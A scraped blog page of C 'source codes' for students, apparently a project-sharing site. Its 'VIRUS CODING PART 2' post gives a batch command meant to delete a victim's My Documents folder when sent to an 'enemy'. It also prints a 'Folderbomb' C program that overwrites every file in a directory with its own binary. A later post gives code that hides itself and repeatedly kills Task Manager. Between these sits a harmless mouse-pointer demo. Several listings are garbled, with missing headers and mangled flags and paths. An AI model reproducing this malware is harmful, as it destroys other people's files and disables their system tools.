Download

Download

Featured Posts

Featured Articles
All Stories
Showing posts with label C SOURCE CODES. Show all posts
Showing posts with label C SOURCE CODES. Show all posts

VIRUS CODING PART 2


HOW TO CREATE VIRUS FOR WINDOWS/LINUX/OTHERS OS


Run this on your own responsibility*/



VIRUS CODE-1


IT DELETES THE MY DOCUMENTS FOLDER OF UR ENEMY.
HERE'S WHAT U SHOULD DO
OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT WITH BAT FILE Extention.
I MEAN SAVE IT LIKE VIRUS.BAT.
NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.
Code Is Below
rmdir C:\Documents and Settings \S\Q.
Run this on your own responsibility*/
/*This is a simple program to create a virus in c
It will create Folder in a Folder in a Folder and so on ......


#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_R
DONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}
4:31 PM - By Reetha 0

hange your mouse pointer (Mini Project in C)

hange your mouse pointer (Mini Project in C)

use these functions to change ur mouse pointer,using different values in the mask array lets u design ur own pointer.changing cursor mask in the mask array u can desig ur own mouse pointer.plz send feedback.

#include stdio.h
#include dos.h
#include conio.h
#include graphics.h

void theend();

static int mask[]={/*SCREEN MASK*/
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,
/*CURSOR MASK*/
0x0000,0x0000,0x381c,0x7c3e,0x7c3e,0x7c3e,0x7c3e,
0x3bdc,0x07e0,0x0ff0,0x0ff0,0x0ff0,0x0ff0,0x07e0,
0x03c0,0x0000};


void main()
{int gdriver=DETECT,gmode,buttons;
union REGS regs;
struct SREGS sregs;
initgraph(&gdriver,&gmode,"");
regs.x.ax=0; /*INITIALIZE MOUSE*/
int86(0x33,®s,®s);
setcolor(LIGHTCYAN);
if(regs.x.ax==0)
{outtextxy(0,0,"NO MOUSE AVAILABLE");
getch();
theend();
}
regs.x.ax=9; /*CHANGE CURSOR SHAPE*/
regs.x.bx=5;
regs.x.cx=0;
regs.x.dx=(int)mask;
segread(&sregs);
sregs.es=sregs.ds;
int86x(0x33,®s,®s,&sregs);
regs.x.ax=1; /*SHOW MOUSE POINTER*/
int86(0x33,®s,®s);
do
{regs.x.ax=3;
int86(0x33,®s,®s);
buttons=regs.x.bx & 3;
}while(buttons!=3);
regs.x.ax=2; /*HIDE MOUSE POINTER*/
int86(0x33,®s,®s);
theend();
}

void theend()
{closegraph();}

Read more: http://cmagical.blogspot.com/2011/03/hange-your-mouse-pointer-mini-project.html#ixzz1iP6LA34V
Under Creative Commons License: Attribution Non-Commercial No Derivatives
7:34 PM - By Admin 0

Stop double Process for start in C


Home » C Home » Hacking & Cracking, Virus Home » Stop double Process for start in C
Title
Stop double Process for start in C
Author
Cedrik Jurak
Author Email
cedrik1492 [at] yahoo.com
Description
This programm you don't allow process to start!
For example taskmgr.exe and calc.exe are stopped before it want to go. You can compile it with
DEV-C++ 4.9.9.2
Category
C » Hacking & Cracking, Virus
Hits
31133
Code
Select and Copy the Code




/**********************************/
//DoubleStopProcess.c
//Compiler Dev-C++ 4.9.9.2
/**********************************/
#include <windows.h>
#include <windowsx.h>
#include <tlhelp32.h>
#include <process.h>

#define Progy "taskmgr.exe"
#define Master "calc.exe"

int func_termi(void);
int ID,XY,T3;

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,
    LPSTR lpCmdLine, int CmdShow)
{
    char message[] = "    This little progy is written
"
                     "        by
"
                     "    !!! Cedrik Jurak 2006 !!!
"
                     "Press TAB+SHIFT+RETURN to get Taskmanager back!";

    char title[] = "INFORMATION";

    HWND nShow;
    nShow = FindWindow("ConsoleWindowClass","ConsoleWindowClass");
    ShowWindow(nShow,SW_HIDE);
    MessageBox(0,message,title,MB_OK | MB_ICONINFORMATION);

    sleep(100);

    func_termi();

}

int func_termi(void)
{
    long code;
    HANDLE Snap,Process;
    PROCESSENTRY32 proc32;
    BOOL ServiceName;

    while(1)
    {
    sleep(100);
    Snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(Snap==INVALID_HANDLE_VALUE)
    {
       MessageBox(0,"Sorry,no way!!!","Error",MB_OK | MB_ICONERROR);
       exit(0);
    }
    proc32.dwSize=sizeof(PROCESSENTRY32);

if((GetAsyncKeyState(VK_TAB)==-32767)&&(GetAsyncKeyState(VK_SHIFT)==-32767
)&&(GetAsyncKeyState(VK_RETURN)==-32767))
        {
             MessageBox(0,"Okay is yours,right now!","Have a nice day
!!!",MB_OK | MB_ICONEXCLAMATION);
             return EXIT_SUCCESS;
        }
    while((Process32Next(Snap,&proc32))==TRUE)
    {
    if(strcmp(proc32.szExeFile,Progy)==0){
    ID=proc32.th32ProcessID;
    Process=OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,ID);
    XY=GetExitCodeProcess(Process,&code);
    Process=OpenProcess(PROCESS_TERMINATE,FALSE,ID);
    T3=TerminateProcess(Process,code);{MessageBoxA(0,"    Done!

Taskmgr.exe is stopped!!!","Info",MB_OK);}
    }
  else if(strcmp(proc32.szExeFile,Master)==0){
  ID=proc32.th32ProcessID;
  Process=OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,ID);
  XY=GetExitCodeProcess(Process,&code);
  Process=OpenProcess(PROCESS_TERMINATE,FALSE,ID);
  T3=TerminateProcess(Process,code);{MessageBoxA(0,"    Done!
 Calc.exe
is
stopped!!!","Info",MB_OK);}
             }
        }
    }
}
Top of Form








8:05 PM - By Admin 0

Labels

AI PROJECTS (8) ALL DEPT (42) BCA (22) BE (13) BSC (20) BTECH (17) C PROJECTS (4) C#.NET (19) C++ PROJECTS (2) CHEMISTRY (3) CIVIL (25) CSE (94) DIPLOMA (22) DOWNLOADS (60) ECE (37) EEE (39) FINAL YEAR PROJECTS (30) HOW TO (58) HTML PROJECTS (4) IEEE PROJECTS (108) IT (85) MATLAB PROJECTS (8) MBA (1) ME (19) MINI PROJECTS (97) MSC (17) MTECH (18) MYSQL PROJECTS (6) NETWORK PROJECTS (7) OTHER PROJECTS (67) OTHERS (28) PAPER PRESENTATION (4) PG (18) PHP PROJECTS (7) PROJECTS (5) SOURCE CODES (22) SYSTEM PROJECTS (15) UG (17) VB PROJECTS (15) WHITE PAPER (19) mca (73) mech (4)

Blog Archive

Total Pageviews

Discussion

Followers

Powered by Blogger.
back to top
Don't Forget To Join US Our Community
×